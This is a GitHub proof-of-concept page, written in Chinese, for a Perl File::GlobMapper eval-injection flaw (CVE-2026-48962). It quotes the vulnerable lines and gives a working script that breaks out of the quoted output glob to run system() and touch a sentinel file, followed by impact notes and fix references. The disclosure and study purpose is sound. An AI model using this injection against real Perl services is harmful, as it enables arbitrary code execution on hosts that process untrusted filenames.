JoakimBulow/CVE-2026-48962
GitHub: JoakimBulow/CVE-2026-48962
一个展示 Perl IO::Compress 模块中 File::GlobMapper eval injection 远程代码执行漏洞(CVE-2026-48962)的概念验证项目。
Stars: 0 | Forks: 0
### 摘要
`File::GlobMapper::_getFiles()` 中的一个 eval injection 漏洞允许任何可以控制传递给 `IO::Compress::Gzip::gzip()`、`IO::Compress::Zip::zip()` 或任何同级函数的输出 fileglob 参数的攻击者,在运行进程的上下文中执行任意 Perl 代码。
无需身份验证。影响是完全的:主机进程的机密性、完整性和可用性均遭到完全破坏。
### 详情
`File::GlobMapper::_parseOutputGlob()` 通过将调用者提供的输出模式包装在 Perl 双引号中并存储结果,从而构建输出文件名模板。随后,`_getFiles()` 将该字符串直接传递给 `eval`,而没有任何清理:
**`lib/File/GlobMapper.pm:316–321`**
```
$string =~ s/${noPreBS}#(\d)/\${$1}/g;
$string =~ s#${noPreBS}\*#\${inFile}#g;
$string = '"' . $string . '"'; # wrapped in double-quotes
$self->{OutputPattern} = $string; # stored verbatim — no escaping
```
**`lib/File/GlobMapper.pm:342`**
```
eval "\$outFile = $self->{OutputPattern};" ; # executed — injection point
```
每当 `IO::Compress::*` / `IO::Uncompress::*` 函数的输入和输出参数**同时**为 fileglob 字符串(由 `< >` 分隔)时,就会自动调用 `File::GlobMapper`。这是一种有文档记录的、常见的调用约定。受影响的函数包括 `gzip`、`zip`、`bzip2`、`deflate`、`rawdeflate` 以及所有 `IO::Uncompress::*` 对应的函数。
任何可以闭合外围双引号 Perl 字符串的字符——字面的 `"`、反引号、`${...}` 或 `@{...}`——后跟任意的 Perl 代码都将被原样执行。
### PoC
保存为 `poc.pl` 并使用 `perl poc.pl` 运行:
```
#!/usr/bin/perl
use strict;
use warnings;
use File::Temp qw(tempdir);
use IO::Compress::Gzip qw(gzip);
my $dir = tempdir(CLEANUP => 1);
my $sentinel = "/tmp/CVE_GlobMapper_RCE_$$";
# 创建一个能够与输入 glob 匹配的合法输入文件
open my $fh, '>', "$dir/test.txt" or die $!;
print $fh "data\n";
close $fh;
my $malicious = qq(<$dir/out.gz"; system("touch $sentinel"); #>);
print "Sentinel before: ", (-e $sentinel ? "EXISTS" : "absent"), "\n";
eval { gzip "<$dir/*.txt>" => $malicious };
if (-e $sentinel) {
print "EXPLOITED — arbitrary command executed via eval injection\n";
print "Sentinel: $sentinel\n";
unlink $sentinel;
} else {
print "Did not fire (check error: $@)\n";
}
```
**预期输出:**
```
Sentinel before: absent
EXPLOITED — arbitrary command executed via eval injection
Sentinel: /tmp/CVE_GlobMapper_RCE_
```
在 IO-Compress 2.219 / Perl 5.40.1 / Ubuntu 26.04 上已确认。
### 影响
这是一个**远程代码执行**漏洞。任何接受用户输入并将其作为输出 fileglob 参数传递给任何 `IO::Compress::*` 函数的 Web 应用、API 服务、CLI 工具或批处理 pipeline 都存在漏洞。注入的代码将以调用进程的完全权限运行。
**受影响人群:** 使用带有 fileglob 调用约定的 `IO::Compress::*` 函数,且其输出模式源自不受信任输入(例如来自 Web 表单的文件名模板、REST API 参数、CLI 参数或由非特权用户控制的配置文件)的 Perl 应用程序的开发者和运维人员。
在 setuid 或特权 daemon 环境中,利用此漏洞将在提升的权限级别下产生代码执行。该漏洞自 `File::GlobMapper` 最初发布(约 2005 年)起就已存在,并且存在于所有内置 `perl` 包的 Linux 发行版中。
### 参考
- https://nvd.nist.gov/vuln/detail/CVE-2026-48962
- https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch
- https://github.com/pmqs/IO-Compress/issues/73
- https://metacpan.org/release/PMQS/IO-Compress-2.220/changes
- http://www.openwall.com/lists/oss-security/2026/05/27/4
- https://github.com/advisories/GHSA-q6wx-vhvq-x7h6
标签:CVE, IO::Compress, Perl, 代码执行, 安全漏洞, 数字签名, 漏洞利用代码